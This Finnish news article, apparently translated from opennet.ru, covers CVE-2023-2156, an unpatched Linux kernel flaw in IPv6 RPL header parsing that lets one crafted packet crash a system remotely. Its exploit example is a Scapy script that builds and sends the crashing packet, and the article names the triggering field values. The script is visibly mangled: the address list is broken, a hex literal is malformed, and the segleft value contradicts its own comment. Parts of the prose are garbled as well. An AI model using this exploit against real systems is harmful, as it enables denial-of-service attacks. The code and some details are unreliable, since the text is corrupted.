0 päivän Linuxin IPv6-pinon haavoittuvuus, joka mahdollistaa ytimen etäkaatumisen

Tietoa on paljastettu korjaamattomasta (0 päivää) haavoittuvuudesta (CVE-2023-2156) Linux-ytimessä, joka mahdollistaa järjestelmän pysäyttämisen lähettämällä erityisesti suunniteltuja IPv6-paketteja (packet-of-death). Ongelma ilmenee vain, kun RPL (Routing Protocol for Low-Power and Lossy Networks) -protokollan tuki on käytössä. Protokolla on oletuksena pois käytöstä jakeluissa ja jota käytetään pääasiassa sulautetuissa laitteissa, jotka toimivat langattomissa verkoissa, joissa on suuri pakettihäviö.

Haavoittuvuus johtuu ulkoisten tietojen virheellisestä käsittelystä RPL-protokollan jäsennyskoodissa, mikä johtaa vahvistusvirheeseen ja ytimen siirtymiseen paniikkitilaan. Kun IPv6 RPL-paketin otsikon jäsentämisestä saatu data sijoitetaan k_buff (Socket Buffer) -rakenteeseen, jos CmprI-kentän arvoksi on asetettu 15, Segleft-kentän arvoksi 1 ja CmprE:ksi 0, 48-tavuinen vektori osoitteineen puretaan. 528 tavuun ja ilmaantuu tilanne, jossa puskurille varattu muisti ei riitä. Tässä tapauksessa skb_push-funktio, jota käytetään tiedon työntämiseen rakenteeseen, tarkistaa tietojen koon ja puskurin välisen yhteensopimattomuuden ja luo paniikkitilan estämään kirjoittamisen puskurin rajan yli.

Esimerkki hyväksikäytöstä: # Käytämme Scapya paketin muodostamiseen osoitteesta scapy.all import * import socket # Käytä IPv6:ta LAN-liittymästäsi DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Käytämme socketteja paketin lähettämiseen sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Luo paketti # Type = 3 tekee tästä RPL-paketin # Addresses sisältää 3 osoitetta, mutta koska CmprI on 15, # jokainen kahden ensimmäisen osoitteen oktetti on käsitellään pakattuna osoitteena # Segleft = 1 laukaisee vahvistuksen # lastentry = 0xf0 asettaa CmprI arvoon 15 ja CmprE arvoon 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, osoitteet) :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Lähetä tämä paha paketti sockfd.sendto(bytes(p), (DST_ADDR, 0))

On huomionarvoista, että ytimen kehittäjille ilmoitettiin haavoittuvuudesta jo tammikuussa 2022 ja viimeisen 15 kuukauden aikana he ovat yrittäneet korjata ongelman kolme kertaa ja julkaisseet korjaustiedostoja syyskuussa 2022, lokakuussa 2022 ja huhtikuussa 2023, mutta joka kerta korjaukset tehtiin. ei riitä eikä haavoittuvuutta voitu toistaa. Lopulta ZDI-projekti, joka koordinoi haavoittuvuuden korjaamista, päätti julkaista yksityiskohtaiset tiedot haavoittuvuudesta odottamatta toimivan korjauksen olevan saatavilla ytimessä.

Näin ollen haavoittuvuus on edelleen korjaamaton. Erityisesti 6.4-rc2-ytimen sisältämä korjaustiedosto on tehoton. Käyttäjiä kehotetaan tarkistamaan, ettei RPL-protokollaa käytetä heidän järjestelmissään, mikä voidaan tehdä komennolla sysctl -a | grep -i rpl_seg_enabled

Lähde: opennet.ru

Lisää kommentti